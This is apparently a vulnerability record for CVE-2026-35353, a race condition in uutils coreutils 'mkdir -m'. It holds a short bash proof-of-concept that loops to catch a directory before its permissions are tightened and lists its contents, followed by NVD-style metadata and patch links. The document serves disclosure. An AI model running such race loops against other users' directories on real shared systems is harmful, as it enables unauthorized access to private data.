CVE-2026-35353

#!/bin/bash # PoC for CVE-2026-35353: Race condition in uutils mkdir -m # This script demonstrates checking for the window between mkdir and chmod. TARGET_DIR="/tmp/vuln_poc_$$" # Cleanup function cleanup() { rm -rf "$TARGET_DIR" } trap cleanup EXIT echo "[+] Starting PoC for CVE-2026-35353" echo "[*] Creating directory with 'mkdir -m 700'..." # Start the mkdir command in background to simulate the race # In a real scenario, this would be run by a victim user. mkdir -m 700 "$TARGET_DIR" & PID=$! # Attacker loop trying to access the directory immediately while kill -0 $PID 2>/dev/null; do if [ -d "$TARGET_DIR" ]; then # Check current permissions PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) # If permissions are not 700 yet, the window is open if [ "$PERMS" != "700" ]; then echo "[!] VULNERABLE WINDOW DETECTED! Permissions: $PERMS" ls -ld "$TARGET_DIR" # Try to list contents (simulating unauthorized access) ls "$TARGET_DIR" 2>/dev/null && echo "[!] Successfully accessed directory!" break fi fi done wait $PID FINAL_PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) echo "[*] Final permissions: $FINAL_PERMS"

{"cve": {"id": "CVE-2026-35353", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:37.723", "lastModified": "2026-04-27T12:27:39.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mkdir utility in uutils coreutils incorrectly applies permissions when using the -m flag by creating a directory with umask-derived permissions (typically 0755) before subsequently changing them to the requested mode via a separate chmod system call. In multi-user environments, this introduces a brief window where a directory intended to be private is accessible to other users, potentially leading to unauthorized data access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.6.0", "matchCriteriaId": "87C33018-2E08-45B0-B69C-7FC224F7F883"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/10036", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}